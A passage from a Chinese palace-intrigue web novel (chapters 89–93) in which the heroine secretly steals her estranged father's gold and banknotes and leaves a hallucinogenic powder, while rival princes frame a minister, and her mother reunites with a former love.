老太君高坐堂上,两位夫人恭敬侍立。大厅内香烟缭绕,檀香的气息中带着几分压抑。 “母亲,明轩再过几日就回来了。”司氏笑着说道。 老太君露出慈祥笑容,手中佛珠轻轻摇动:“明轩这孩子,最是争气。” 二夫人高氏心中不服,却只得赔笑:“逸铭也快回来了,还特意问候祖母安好。” “都是好孩子啊。”老太君语气中带着几分感慨,“比那些白眼狼强多了。” 柳书兰跪坐在一旁,听得开心,忙道:“祖母还有孙女呢。孙女一定好好孝敬您。”她眼中闪着泪光,“上次公主宴上,孙女穿得太过寒酸,都不敢说话。” “胡说!”老太君立刻不悦,“等你爹回来,定要给你置办几身好衣裳。你如今可是丞相府大小姐,可不能失了体面。” 柳书兰连连点头。她偷偷瞥了眼高氏,见她脸色微变,心中更是畅快。 柳书兰眉开眼笑,裙摆轻摆间,一副乖巧模样凑到老太君身边。她伸出纤细的手指,轻轻挽住老太君的胳膊,声音甜美动听。 “祖母最疼书兰了,比母亲还要疼爱书兰呢。”她说着,还不忘回头看向司氏,眼中闪烁着狡黠的光芒。 司氏嗔怪地看了女儿一眼,手中的帕子轻轻拍在她肩上:“你这没良心的丫头,在祖母面前就知道卖乖。” 众人都被这对母女的互动逗得抿嘴轻笑。司氏虽然嘴上责怪,眼中却满是宠溺。这样的场景在丞相府并不少见,每每都能引来一片和谐的笑声。 老太君更是笑得合不拢嘴,一脸慈爱地看着这个乖巧的孙女。她伸手轻抚柳书兰的秀发,眼中尽是疼爱:“我们书兰就是会说话,难怪人人都喜欢。” 正当众人说笑时,一阵急促的脚步声由远及近。一名丫鬟匆匆进来,裙摆带起一阵风,她微微喘着气禀报:“老太君,相爷回府了。” 前厅的气氛顿时更加热闹,众人的目光都不自觉地望向门口。 柳丞相却并未如众人期待般现身,而是一回府便直奔书房。他神色凝重,脚步匆匆,吩咐人将箱子全部抬进去。那些装满黄金的箱子在阳光下泛着冷冽的光,仿佛在提醒着什么。 “把箱子都放好,”柳丞相环视四周,“一个都不能少。”他想亲眼见识这些黄金,还要把那二十万两银票贴身收好。这次他要好好守着这笔财富,绝不能再让贼人得手。 前厅众人等得心焦,听说相爷直接去了书房,老太君立刻坐不住了。她的手指不自觉地捏紧了手中的拐杖。 “白嬷嬷,扶我去书房看看。”老太君迫不及待地站起身,声音中带着掩饰不住的期待。 白嬷嬷赶忙上前搀扶,其他人也纷纷起身。一行人浩浩荡荡向书房走去,平日里她们都不敢靠近书房半步,但今天有老太君带头,又是去瞧那满箱子的黄金,谁能按捺得住? 走廊上响起一阵急促的脚步声,管家赶紧进去通报:“相爷,老太君带着大夫人、二夫人她们过来了。”他的声音中带着一丝为难,显然也知道这些夫人们的心思。 柳丞相站在窗前,目光落在院中的梧桐树上,淡淡道:“让她们进来吧,也免得整日跟我哭穷。” 众人鱼贯而入,一进书房就被满屋子的箱子惊呆了。那些箱子整整齐齐地摆放着,仿佛在无声地诉说着它们的价值。 “都打开看看。”柳丞相转身,目光扫过众人惊艳的表情,“这些黄金足够府里用一段时间了,以后都不许再说没银子。” 管家依言打开箱子,金光闪闪,晃得人眼花缭乱。那些黄金砖整齐地码放着,在烛光下泛着诱人的光芒。众人看得眼热,连呼吸都急促了几分。 老太君最先回过神来,她拄着拐杖走近柳丞相:“泰儿,这些黄金放在府里不安全,万一又被贼人惦记上...”她的声音中带着明显的担忧。 “母亲放心,明天我会让钱庄的掌柜来取。”柳丞相的语气中带着一丝笃定。 “为何要等到明日?”老太君皱眉,显然对这个决定有些不解。 柳丞相冷笑一声,目光中闪过一丝阴沉:“今日运回府时已经引起不少人注意,加上我与那逆女断亲的消息传得沸沸扬扬,现在不宜再生事端。明日让钱庄的人来取,若有什么意外也与我们无关。” 老太君连连点头,眼中露出赞许之色:“泰儿做事向来周到。”她顿了顿,又问,“果真与那逆女撇清了关系?” “是。”柳丞相声音冷得像冰。 老太君气愤地拄着拐杖,声音都提高了几分:“这逆女离开丞相府后就一无是处了,到时候哭着求着回归,我也绝不会让她进门!” 柳丞相想起司公公传达的口谕,心中暗自盘算。既然那逆女不听话,那就永远别想回来了。他的目光落在窗外,仿佛在思索着什么。 柳书兰站在一旁,眼巴巴地看着老太君,想起方才的承诺。她正要开口,却被司氏拉着离开了。司氏的动作看似随意,眼中却闪过一丝警惕。 书房内渐渐安静下来,只剩下柳丞相一人。他望着满屋子的黄金,陷入沉思。虽贵为丞相,但根基尚浅,如今朱氏离开,更显财力单薄。不过,有了这些黄金,倒是可以从长计议了。 与此同时,明德殿内。 “蠢货!”皇上怒拍龙案,茶盏被震得跳起,茶水洒了一桌。他的脸色阴沉得可怕,“朕让他把柳大小姐接回府,他倒好,直接断绝关系!这颗棋子还没用就被他毁了!” 司公公在一旁小心翼翼地劝慰:“皇上息怒,丞相大人最近可能是...”他的话还未说完,就被皇上打断。 “他不是糊涂,是愚蠢!”皇上冷笑,目光如刀,“为了这些黄金断了财路,他以为朱氏是普通商户?那可是富可敌国的大商!” 明德殿内的气氛凝重得令人窒息,连宫女们都不敢抬头,生怕触了龙颜。 “传朕口谕,让他好好在府中反省,想明白了再来上朝!”皇上的声音中带着不容置疑的威严。 第八十九章 夜探丞相府 夜色渐浓,柳府的灯火一盏盏亮起。柳映雪站在庭院里,望着母亲房中透出的暖光。她轻轻推开房门,看到朱氏正对着铜镜梳理长发。 “娘亲。”柳映雪走到朱氏身后,从她手中接过梳子,动作轻柔地为母亲梳理着乌黑的秀发。 朱氏透过铜镜看着女儿认真的神情,眼中浮现出一抹温柔。“今日去司马家,可还开心?” 柳映雪手上的动作微顿,眼中闪过一丝狡黠,“娘亲怎知我去了司马叔父家?娘亲这是接受司马叔父了?” “你这孩子。”朱氏轻轻拍了拍女儿的手,语气中带着几分无奈,“在这京城,还有银子打听不到的事吗?尤其这新宅子来的蹊跷,以防万一,娘也只是随口问问。” “司马叔父今日特意做了鱼汤,说是娘亲最爱喝的。”柳映雪一边梳着头发,一边状似不经意地说道,“他还说,等娘亲什么时候愿意去,他一定亲自下厨。” 朱氏的眼神微微闪烁,“他...他倒是记性好。” “娘亲,”柳映雪放下梳子,绕到朱氏面前蹲下,双手握住母亲的手,“经历了这么多,难道娘亲还要被世俗的眼光束缚吗?” 朱氏沉默片刻,轻叹一声,“你说得对,人这一生,何必在意他人眼光?活在世俗的枷锁里,只会让自己喘不过气来。” “那娘亲明日可愿与我一同去司马叔父家?”柳映雪眼睛一亮。 “你这丫头,”朱氏点了点女儿的额头,嗔怪道,“怎么尽帮着他说话。” “因为女儿看得出,司马叔父是真心对娘亲好啊。”柳映雪眨着眼睛,“而且他的手艺可好了,那鱼汤比御膳房的还要美味。” 朱氏被女儿逗得脸颊微红,“调皮。”她的目光渐渐变得深远,“只是想起当年柳昌泰那般算计...” “娘亲别想那些不开心的事了。”柳映雪连忙打断母亲的话,“现在最重要的是你和司马叔父的事。” 这时,外面传来丫鬟的声音,“夫人,小姐,晚膳已经备好了。” “娘亲,我陪你用膳。”柳映雪站起身,“不过我中午在司马叔父家吃得太饱了。” 朱氏笑道:“看来司马澄的手艺确实不错。” “那是当然,明天娘亲试试就明白了。”柳映雪一脸得意。 “你不是最爱喝鸡汤吗?怎么今日连鱼汤都喝了这么多?” 柳映雪理直气壮道:“那是帮娘亲试菜嘛。” 用过晚膳,柳映雪回到自己的院子。她站在窗前,望着漆黑的夜色,唇角勾起一抹冷笑。下一刻,她的身影已经消失在窗口。 萧寒瑾远远看到那道身影,无奈一笑。他本想请雪儿帮忙看看绿雪的伤势,看来是迟到了。以他对雪儿的了解,她给柳丞相那么多银票,定有后手。 柳映雪施展轻功,在夜色中穿梭。她的身影如同一片轻盈的羽毛,在屋檐间来回跳跃。很快,她就来到了丞相府附近。 停在一棵大树上,柳映雪敏锐地感知到不远处有一队人马正往这边而来。月光下,那些人影鬼鬼祟祟,显然不怀好意。 “有意思。”柳映雪眯起眼睛,“看来不止我一个人盯上了丞相府。” 此时,柳丞相正在书房中来回踱步。烛光在他脸上投下忽明忽暗的阴影,显得格外阴沉。突然,一个暗卫从外面闪身进来。 “启禀相爷,有一群人朝府邸走来。” “什么人?”柳丞相猛地站起。 “看起来像是贼人,约莫十几个人,个个带着兵器。” 柳丞相冷哼一声:“区区贼人也敢闯丞府,把他们都抓起来审问清楚。本相倒要看看,是谁这么大胆。” “是。”暗卫领命退下。 暗卫离开后,柳丞相将银票压在枕头下,又在门口张望了一番。他的动作显得极为谨慎,生怕有人发现这些银票的存在。 就在这时,柳映雪抓住机会,闪身进入书房。看到箱子上的被褥,她差点笑出声:“这老狐狸,还真是寸步不离啊。” 她迅速将银票和箱中黄金收入空间,又塞了几张废纸在被褥下。整个过程行云流水,没有发出一丝声响。 听到脚步声临近,柳映雪躲入空间。柳丞相进来后,立刻查看银票。在微弱的光线下,他只看到纸张轮廓,便放下心来。 “启禀相爷,那伙人去了户部尚书府。”暗卫又来报告。 柳映雪在空间中听得清楚,不禁摇头:“这些人怎么连门都认错了?”她得赶紧出去给他们指路才行。 萧寒瑾在外守候,见雪儿迟迟不出,正想办法引开柳丞相。他的身影在月光下若隐若现,眼中闪烁着担忧的光芒。 就在这时,柳丞相突然站起身,“去查查户部尚书府那边的情况,但什么都不要做。” “是。”暗卫领命而去。 柳丞相踱步到窗前,望着院中的梨花树。“这些银票,可不能让任何人知道。”他低声自语。 柳映雪在空间中听到这话,嘴角勾起一抹冷笑。她等待着最佳时机,准备给那些“贼人”一点提示。 这时,外面传来一阵骚动。柳丞相皱眉走到窗前,只见几个黑影在院中闪过。 “来得正好。”柳映雪在空间中轻声说道。她已经想好了计划,要让这些人成为她的棋子。 萧寒瑾察觉到情况有异,悄悄靠近书房。他知道雪儿一定在里面,但现在还不是现身的时候。 柳丞相的脸色越来越难看,他来回踱步,不时看向放银票的地方。这些银票关系重大,绝不能出任何差错。 就在这时,外面传来一声惊呼,接着是打斗声。柳丞相脸色一变,快步走出书房。 这正是柳映雪等待的时机。她从空间中出来,迅速来到院中。那些“贼人”正在和府中护卫缠斗,场面一片混乱。 柳映雪借着混乱,悄悄来到一个贼人身边,低声道:“书房里有好东西。” 那人一愣,随即会意。很快,消息就在贼人中间传开。 第九十章 丞相府捣乱 萧寒瑾在暗处看着这一切,嘴角勾起一抹笑意。雪儿这招借刀杀人,用得可真是妙啊。 院门口又传来几声响动。 “咚咚咚!” 柳丞相的脸色瞬间阴沉下来,眉头紧皱,眼中闪过一丝怒意。他大步流星地朝院门口走去,袍角翻飞,显然是动了真怒。 “来人!”他厉声喝道,“把那些闲杂人等给我抓来!” 几个暗卫从阴影中闪出,迅速朝着声音传来的方向追去。 柳映雪抓准时机,身形如鬼魅般闪出,脚尖轻点,转眼便上了房顶。她本以为能遇到几个暗卫过过招,没想到都被柳丞相派去抓贼了。月光下,她的身影轻盈灵动,宛如一只翩翩起舞的蝴蝶。 这时,她察觉到一道熟悉的目光,带着几分温柔,几分宠溺。 抬头一看,萧寒瑾不知何时已站在那里,月光下的他清冷出尘,仿佛谪仙。墨色长袍随风轻扬,衬得他愈发清贵逸然。 她轻盈地掠到他身边,眼中闪着狡黠的光芒,嘴角勾起一抹得意的笑。 “看来本王的王妃轻功又有长进。”萧寒瑾温柔地说道,伸手轻轻拂去她发间的一片落叶。 柳映雪扬起下巴,一脸得意:“那是自然,这可是我的保命技能。打不过就跑,跑得越快越好,不好好练怎么行?”说着,她还故意在房顶上转了个圈,展示自己的轻功。 萧寒瑾被她孩子气的模样逗笑,眼中满是宠溺:“又在丞相府捣什么乱?” “明天你就知道啦。”柳映雪眨眨眼,想到自己留下的“惊喜”,嘴角勾起一抹坏笑。她偷偷瞄了眼萧寒瑾的表情,见他并未追问,这才松了口气。 就在这时,隔壁户部尚书府的动静引起了她的注意。 几个黑影正在院中鬼鬼祟祟地忙活,有的在搬运东西,有的似乎在寻找什么。月光下,那些人影闪动,像是一群幽灵在游荡。 “咦?”柳映雪歪着头,眉头微蹙,“这些贼人是不是找错地方了?难道不应该来丞相府吗?” 萧寒瑾淡淡道:“他们来这里就是为了偷东西,也是来放东西。” 柳映雪眼睛一亮,很快想明白了其中关节:“这是有人要对付户部尚书?”她的声音压得很低,生怕惊动了那些人。 “聪明。”萧寒瑾赞许地看了她一眼。 柳映雪仔细观察着那些人的举动,只见他们动作娴熟,显然是经过精心训练的。有人在搬运箱子,有人在翻找文书,还有人在布置现场,一切都井然有序。 “户部掌管朝廷钱财,确实容易成为众矢之的。”她轻声分析道,“不过这些人也太明目张胆了,弄得人尽皆知是什么意思?” “他们就是要闹得人尽皆知。”萧寒瑾指了指那些来来往往的马车,“你看清楚,还有人在搬东西出去。” 月光下,几辆马车停在府邸后门,车夫们神色平静,仿佛只是在做寻常的搬运工作。 柳映雪恍然大悟:“马车上的是他们提前准备好的赃物,现在搬出去的应该是户部尚书府的东西吧?”她不由得感叹这些人的心思缜密。 她环顾四周,发现周围各府的暗卫都在暗处观望,却无人出手阻拦。有的躲在屋顶角落,有的藏在树影之中,还有的就站在院墙边上,却都像是看不见这场闹剧一般。 “这些暗卫怎么都不管?”她疑惑地问道。 “各家都收到了主子的命令,让他们静观其变。”萧寒瑾解释道,“只要不影响到自己的利益,谁也不想趟这趟浑水。” 柳映雪想起刚才柳丞相也是这样吩咐暗卫的,不由得感叹官场的险恶。这些人平日里称兄道弟,可一旦有人倒霉,却没人愿意伸出援手。 “户部尚书投靠了四皇子?”她试探着问,目光紧盯着萧寒瑾的侧脸。 萧寒瑾点头:“所以这是三皇子的手笔。” “皇上为什么不早点立太子?”柳映雪叹了口气,“这样不就能避免这些争斗了吗?” “皇上天性多疑,怎会给自己添这个麻烦?”萧寒瑾语气中带着几分讽刺,“在他看来,立了太子就等于养虎为患。与其如此,不如让皇子们先争个你死我活。” 柳映雪听得心惊,下意识地看了眼身边的萧寒瑾。月光下,他的侧脸棱角分明,眼中却没有其他皇子那种争权夺利的野心。 察觉到她的目光,萧寒瑾轻叹一声:“雪儿,我跟他们可不一样。我虽然出生于皇室,却早早就去了军营。那些尔虞我诈的争斗,我向来不屑。” 他的声音很轻,却带着一种坚定。 她有些不好意思,急忙转移话题:“快看,官府的人来了!” 果然,一队官差已经赶到,将那些“贼人”一一拿下。他们举着火把,喊打喊杀,看起来像是巡夜时发现了盗贼。 “奇怪,户部尚书怎么不出来?”柳映雪皱眉道。这么大的动静儿,府邸主人却毫无反应,实在不合常理。 “应该是被人提前迷晕了。”萧寒瑾说着,目光扫向书房的方向。 话音刚落,就听见户部尚书府传来一阵骚动。官差在书房里发现了昏迷的户部尚书,用凉水将他泼醒。 户部尚书浑身湿透,一脸茫然地看着周围的狼藉。当他看到被翻得乱七八糟的书房,以及那些所谓的赃物时,脸色瞬间变得惨白。 “这...这不是我的东西!”他声嘶力竭地喊道,“我是被人陷害的!” 然而没人理会他的辩解。官差们按照程序进行搜查,很快就找到了更多“证据”。那些精心准备的赃物,此刻都成了他贪污受贿的铁证。 柳映雪看着这一幕,不由得叹了口气:“这户部尚书也太倒霉了,一夜之间就被人算计得这么惨。” “朝堂之上,成王败寇。”萧寒瑾淡淡道,“他既然选择了站队,就该想到会有这么一天。” 柳映雪远远望见骑马疾驰而来的队伍,眉头微蹙。她下意识地攥紧了衣袖,指尖微微发凉。这支队伍来得太快,快得让人生疑。 第九十一章 本王也可以做鱼 “萧寒瑾,那是明理阁的人?”她侧头看向身旁的男子,声音里带着几分试探。 萧寒瑾立于风中,墨色长袍被风扬起,衣袂翻飞。他神色淡然,只是轻轻“嗯”了一声。 柳映雪轻哼一声,语气中带着讥讽:“这一切都是早有预谋吧,明理阁的人不过是来走个过场。”她目光扫过远处的队伍,心中暗自思量,这朝堂之上的争斗,还是少掺和为妙。 “雪儿,我们回王府,我有要事与你相商。”萧寒瑾转过身,目光柔和地看着她。他的声音依旧清冷,却多了几分不易察觉的温度。 柳映雪刚要应声,腰间突然一紧,整个人已被萧寒瑾揽在怀中。她惊呼未出,两人已腾空而起,向王府方向疾驰而去。 风声在耳边呼啸,柳映雪下意识地抓紧了萧寒瑾的衣襟。他的怀抱温暖而坚实,带着淡淡的檀香。她能感受到他有力的心跳,一下一下,稳健有力。 待落地站稳,柳映雪立刻推开萧寒瑾,狠狠瞪了他一眼:“下次能不能提前说一声!”她整理着被风吹乱的发丝,心中暗暗发誓,一定要加紧练习轻功,总有一天要超过这个男人。 萧寒瑾看着她气鼓鼓的模样,嘴角微扬:“雪儿生气的样子也很可爱。” 柳映雪正要反驳,绿竹已快步迎了上来。他脸上带着焦急,眼中闪烁着异样的光彩:“王爷!王妃!” 她疑惑地看了绿竹一眼。这绿竹向来稳重,今日怎么如此慌乱?莫非出了什么大事? 萧寒瑾淡淡扫了绿竹一眼,后者立即噤声退到一旁。王府的庭院里,落叶纷纷扬扬地飘落,空气中弥漫着淡淡的桂花香。 “去书房。”萧寒瑾轻声道。 柳映雪轻车熟路地走进书房,随意找了个位置坐下。檀香袅袅,书卷气息扑面而来。她自己都没发觉,只有在萧寒瑾面前,她才会如此放松。 “说吧,找我什么事?”她懒洋洋地问道,手指有一下没一下地敲着桌面。 萧寒瑾在她对面坐下,神色凝重:“绿雪的手筋被人挑断,可有办法医治?” 柳映雪立刻坐直了身子。作为大夫,这种伤势她再清楚不过:“是双手都断了?伤势如何?” “嗯,双手手筋尽断。” 门外的绿竹再也按捺不住,推门冲了进来。他的眼圈泛红,声音哽咽:“王妃!求您救救绿雪!他现在整个人都失去了生气,我怕他...” 书房里的空气似乎凝固了一瞬。柳映雪从袖中取出一个青瓷药瓶,递给绿竹:“先给他服下这个,明日午后我去药坊看他。” 绿竹接过药瓶,小心翼翼地捧在手心,眼中含泪:“这药能治好绿雪的手筋吗?” “这只是治疗外伤的药,手筋断裂哪有这么容易痊愈。”柳映雪没好气地说道,“明日我去详细查看后再做定论。” 待绿竹离开,书房重归平静。窗外的桂花香更浓了,混合着墨香,让人心神宁静。 “他们感情很好?”柳映雪轻声问道。她注意到绿竹眼中的担忧和痛苦,那不是普通下属之间的情谊。 “从小一起长大的兄弟,情同手足。”萧寒瑾的声音带着几分感慨。 柳映雪点点头,忽然想起一事:“对了,我明日要陪娘亲去司马叔父那里用膳。”说起这事,她眼中闪过笑意。 “司马叔父?”萧寒瑾挑眉,语气中带着几分探询。 柳映雪来了兴致,将司马叔父与母亲的事情娓娓道来。说到开心处,她眉飞色舞,手舞足蹈,完全没了平日的矜持。 “司马叔父做的鱼汤可好喝了,每次去都能喝到。娘亲说,那是专门为她准备的。”说到这里,她眼中闪着狡黠的光芒,“我看啊,司马叔父对娘亲的心思...” 萧寒瑾静静看着她生动的表情,心中一片柔软。这样鲜活的雪儿,总能让他心生欢喜。 “我也可以为雪儿做鱼汤。”他突然说道。 柳映雪一愣,随即笑道:“我更喜欢你府上厨子做的鸡汤。” “那我学着做鸡汤。” “你一个王爷,哪有空做这些?”柳映雪连忙摆手,“还是让厨子们来吧。”心中暗想,这人怎么总往奇怪的方向跑。 萧寒瑾点头应下,目光却不由自主地瞥向膳房的方向。他的指尖轻轻摩挲着衣袖,眼底闪过一丝若有所思。 雪儿方才提到叔父为母亲熬鱼汤时,那眼中闪过的羡慕他看得分明。那一瞬的神情,像是落入湖面的一片树叶,轻轻荡起涟漪。他的心头微动,思绪不由自主地飘向那个画面——厨房里升腾的热气,温暖的汤香,还有她脸上绽放的笑容。 “王爷?”柳映雪见他神色恍惚,轻声唤道。 萧寒瑾回过神来,嘴角勾起一抹温和的弧度:“无事,只是在想些事情。”他的目光落在她的脸上,眼神柔和,“听说御膳房新进了一批上等的人参,改日让他们给你炖些补汤。” 柳映雪摇头笑道:“王爷不必如此费心。”她抬手整理了下衣袖,“这些日子已经劳烦王爷照顾了。” “这算什么劳烦?”萧寒瑾轻笑,“倒是你,总是这般客气。” 柳映雪抿唇不语。她何尝不明白,王爷待她的好意,可越是如此,她越觉得心头沉甸甸的。 两人又闲聊片刻,萧寒瑾便送她回了清溪居。一路上,他时不时偷瞄她的侧脸,心中暗自盘算着要让御膳房准备些什么样的补品。 回到清溪居后,柳映雪径直进入空间修炼。这方天地虽小,却是她最为安心之处。灵气在周身流转,渐渐抚平了她内心的波澜。 翌日清晨,朱氏早早起身梳洗。铜镜中映出她略显憔悴的面容,眼角的细纹似乎又深了些。她轻轻抚过脸颊,想起昨夜女儿的话语,嘴角不自觉地扬起。 “夫人,该梳妆了。”贴身丫鬟端着梳妆盒走来。 朱氏点头,任由丫鬟为她梳理青丝。经过一夜思索,加上女儿的开导,她终于想通了。这个年纪,还有什么放不开的?今日与司马澄见面,便把话说开,也免得日后留下遗憾。 第九十二章 丞相疯了 柳映雪带着丫鬟来时,一眼就看到娘亲眉眼间洋溢的笑意。她快步上前,挽住朱氏的胳膊,甜甜地唤了声:“娘亲。” 朱氏转头看她,眼中满是慈爱:“雪儿,用早膳了。”她伸手轻抚女儿的发丝,“今日想吃些什么?” “娘亲想吃什么,我就吃什么。”柳映雪笑道,心中却暗暗记下娘亲近日的饮食偏好。 母女俩相携着去用早膳,一路说说笑笑。院中的花开得正好,朝露未干,空气中弥漫着淡淡的花香。 此时的丞相府却是另一番光景。 柳丞相坐在书房中,看着渐渐大亮的天色,心中悬着的石头总算落地。昨夜那场惊魂未定的遭遇,让他彻夜难眠。他抬手揉了揉发胀的太阳穴,急忙吩咐司叔去请钱庄掌柜。 守了整夜的司叔强打精神出门。他的脚步虚浮,眼中布满血丝。昨夜相爷呼噜震天,他却一夜未合眼,生怕再出什么岔子。 待司叔离开,柳丞相又将银票细细查看。他的手微微发抖,生怕有半点疏漏。确认无误后,这才小心收入袖中。他起身走到床前,掀开被褥,打开箱子,见里面“满满”的黄金,这才算是彻底放心。只是他没注意到,被褥上飘落的细小粉末在晨光中闪烁。 “老爷!”门外传来急促的脚步声。 老太君与大夫人、二夫人闻讯赶来,个个面带忧色。见箱子安然无恙,都松了口气。她们昨夜也是提心吊胆,生怕贼人再来。 “母亲,您看,箱子好好的。”柳丞相笑道,声音中带着几分得意。 老太君走近几步,仔细打量箱子:“当真没少?” “儿子亲自清点过,一两不差。” 不多时,钱庄掌柜带着随从到了。他们行过礼后,便要清点黄金。 随从依次打开箱子,在场众人除了柳丞相,皆是一脸震惊。空荡荡的箱底映入眼帘,哪有半点金光? 老太君颤声问道:“泰儿,这到底是怎么一回事?”她的手紧紧抓住白嬷嬷的胳膊,指节发白。 柳丞相一脸茫然:“母亲到底为何这么激动?这些黄金不是好好的吗?”他指着箱子,“您看,满满当当的,一两都没少。” 老太太望着那空空如也的箱子,又看看神色如常的儿子,一时气血上涌,险些晕厥。她的嘴唇颤抖着,说不出话来。 白嬷嬷眼疾手快,用力掐住老太君人中:“老太君!老太君您别急!” 司氏急道:“老爷,箱子是空的啊!”她的声音带着哭腔,“您仔细看看,哪有什么黄金?” “胡说!这箱子里明明装满了黄金,怎会是空的!”柳丞相怒喝,“你们都瞎了不成?” 老太君再也承受不住,直接昏了过去。白嬷嬷慌忙搀扶,却也止不住眼泪。 柳丞相心中不安渐起,对掌柜喊道:“快清点!本官要你当场清点!” 掌柜神色古怪地行了一礼:“丞相大人,在下还有要事,告辞。”说罢便要转身离去。 柳丞相怒极,喝令拦人:“你敢!” 掌柜也怒了:“丞相大人,在下没空陪您胡闹。您可知这钱庄背后是谁?”他冷笑一声,“若是惹恼了那位,只怕丞相大人的官帽子也要保不住。” 这时老太君幽幽转醒,虚弱道:“让他们走吧。”她的声音带着深深的疲惫,“泰儿,你...你好好想想吧。” 掌柜愤然离去,府中众人面面相觑,气氛凝重得几乎要将人压垮。 柳丞相让人取来清水,一次次将头埋入水中。冰凉的水流冲击着他的面庞,每次抬头,箱中依旧是满满的黄金。他不信邪,又一次次重复着这个动作。直到第三次,他终于看清了真相——箱子竟是空的! 他颤抖着取出袖中银票,当看清那只是一张张废纸时,接连的打击让他当场昏厥。他的身子一歪,重重摔在地上。 “快去请大夫!”司叔慌忙喊道,声音中带着哭腔。 小厮立刻冲出府门,一路狂奔去请大夫,留下满府上下惊慌失措。老太君瘫坐在椅子上,眼泪无声滑落;司氏和二夫人手足无措地站在一旁,不知该如何是好。 府中的下人们窃窃私语,有人说是中了邪术,有人说是遭了报应。但无论如何,这个消息很快就会传遍整个京城,到时候丞相府的脸面怕是要丢尽了。 马车缓缓驶向司空府,车轮碾过青石板路面发出规律的咯噔声。 柳映雪望着窗外熙熙攘攘的街景,心思却飘向了丞相府那边的闹剧。不过那些与她无关,她现在最关心的是身旁这位正在暗自紧张的娘亲。朱氏的手指不自觉地绞着衣角,眼神闪烁,时而望向窗外,时而低头整理已经十分妥帖的衣裙。 “娘亲,你的手心都出汗了。”柳映雪握住朱氏微凉的手,轻声笑道。她能感受到母亲指尖细微的颤抖。 朱氏抿了抿有些发白的唇,“十多年未见,心里难免忐忑。”她深吸一口气,试图平复紊乱的心跳。 “司马叔父比你还紧张呢。”柳映雪眨了眨眼,眼中闪过狡黠的光芒,“我敢说他现在一定在府门口来回踱步,把地板都要踩出一个坑来了。” 朱氏被女儿逗笑,紧张的心情缓解了几分。她伸手轻点女儿的额头,“你这丫头,尽说些俏皮话。” 街上传来阵阵议论声,柳映雪竖起耳朵仔细听着。路边茶摊上,几个茶客正在热烈讨论今早发生的大事。 “听说了吗?吏部尚书贪污受贿,还与敌国勾结,已被打入大牢。”一个商贾模样的中年人压低声音道。 “这算什么?我听说柳丞相疯癫了!”另一人接话,“一大早让人搬空箱子,却非说里面装满了黄金。府里的下人都看傻了。” “可不是嘛,听说他还在府中又蹦又跳,说自己能飞上天。” 柳映雪嘴角微扬。她下的药效果然不错,那是她特意调配的一种能引起幻觉的药物。除非柳丞相泡足了冷水,否则这幻觉怕是一时半会消不了。想到柳丞相现在的窘态,她心中升起一丝快意。 第九十三章 见面 “雪儿,外面在说什么?”朱氏注意到女儿的表情变化,关切地问道。 “没什么要紧事。”柳映雪转移话题,“娘亲,待会见了司马叔父,你准备说些什么?” 朱氏故作镇定地摆摆手,“能说什么?我们又不是你们年轻人那般扭捏。”可她的眼神却不自觉地飘向窗外,手指再次绞起了衣角。 没过多久,朱氏就坐立不安起来。她一会儿摸摸发髻,一会儿整理衣裙,“雪儿,帮娘亲看看衣裳可有褶皱?发髻可还整齐?这支钗是不是歪了?” 柳映雪忍俊不禁,“娘亲真美,司马叔父定会看呆的。”她仔细帮母亲整理着装,“您看,这支翡翠钗与这件湖蓝色褙子最是相配,衬得您肤若凝脂。” 朱氏脸颊微红,点了点女儿的额头,“油嘴滑舌。” 此时的司空府前厅内,司马澄确如柳映雪所料,正在来回踱步。他时而停下脚步望向门外,时而走到铜镜前整理衣冠,时而又叫来管家询问各项准备工作。 “少爷,您先歇歇吧。”管家看得头晕目眩,“您从早上起来就没停过。” “去看看马车到了没有。”司马澄停下脚步,却又立刻转身朝另一个方向走去。 “老奴刚去看过...”管家无奈地应道。 “膳房的菜准备好了吗?鱼可要新鲜的,一定要...” “少爷早上已经检查过了,厨房准备的都是最好的...” 司马澄坐立难安,终于忍不住要亲自去府门迎接。他的手不自觉地摸向袖中,那里藏着一个小小的陶泥人偶,是他十多年来最珍贵的玉物。 这时小厮急匆匆跑来禀报,“少爷,柳大小姐的马车到了!” 司马澄顿时眼前一亮,三步并作两步往外奔去。他的心跳得厉害,仿佛要从胸腔里蹦出来。 马车稳稳当当地停在府门前,柳映雪先下了车,“司马叔父。”她注意到叔父的衣襟微微起伏,显然是跑得太急了。 “雪儿。”司马澄应了一声,目光却紧盯着马车。他的手心沁出细密的汗珠,喉结微动,呼吸有些急促。 朱氏深吸一口气,缓缓走下马车。裙摆拂过车沿,发髻上的珠钗轻轻晃动。四目相对的瞬间,时光仿佛倒流,一切又回到了十多年前的那个晓日。 司马澄看着眼前的人儿,岁月并未在她脸上留下太多痕迹,反而平添了几分优雅。那双清澈的眼眸依旧如当年般明亮,只是多了些许沧桑。他的喉咙有些发紧,声音微微发颤,“雅芸...” 这一声呼唤,勾起了朱氏所有的回忆。那些被深埋的往事如潮水般涌来,泪水不受控制地涌出眼眶。她想开口说些什么,却发现自己什么也说不出来。 司马澄慌了神,连忙掏出手帕为她擦泪,“别哭,我学了新的做鱼方法,待会给你尝尝。就像当年一样,你最爱吃的清蒸鲈鱼。” 这熟悉的动作和话语让朱氏哭得更凶了。她想起当年司马澄总是笨手笨脚地给她擦眼泪,却总是把她的妆容弄花。 司马澄无奈,只好从袖中掏出那个胖乎乎的陶泥小人。那是当年朱氏亲手捏的,说是他的模样。小人虽然有些粗糙,但被保存得很好,显然经常被人小心翼翼地擦拭。 朱氏破涕为笑,“你竟然还留着...”她伸手轻轻抚摸着陶泥小人,仿佛在抚摸着逝去的时光。 “叔父,这是什么呀?”柳映雪凑了过来,好奇地打量着那个可爱的小人偶。 司马澄兴致勃勃地讲起往事,“这是你娘亲当年...” 朱氏嗔怪地瞪了他一眼,“都是些陈年旧事了。”可她眼中的柔情却怎么也掩饰不住。 柳映雪看着这对相隔多年重逢的恋人,识趣地退到一旁。晓日的阳光洒在两人身上,勾勒出一幅温馨的画面。有些故事,不需要旁人打扰。她望着街上熙攘的人群,心中暗自盘算着接下来的计划。柳丞相那边的事情还没完,她得继续布局。但现在,就让娘亲好好享受这份久违的幸福吧。 管家看着少爷和朱大小姐站在府门前说话,那熟悉的画面让他想起了多年前的情景。彼时的少爷还是个意气风发的少年,而朱大小姐也是个天真烂漫的姑娘。如今再见,两人都已历经沧桑。 他赶忙擦了擦眼角的泪水,快步上前道:“少爷,朱大小姐,外头风大,还是进府说话吧。” 朱雅芸抬眼看去,脸上露出欣喜之色:“管家伯伯!”她的声音依旧如当年般清脆,只是多了几分成熟的韵味。 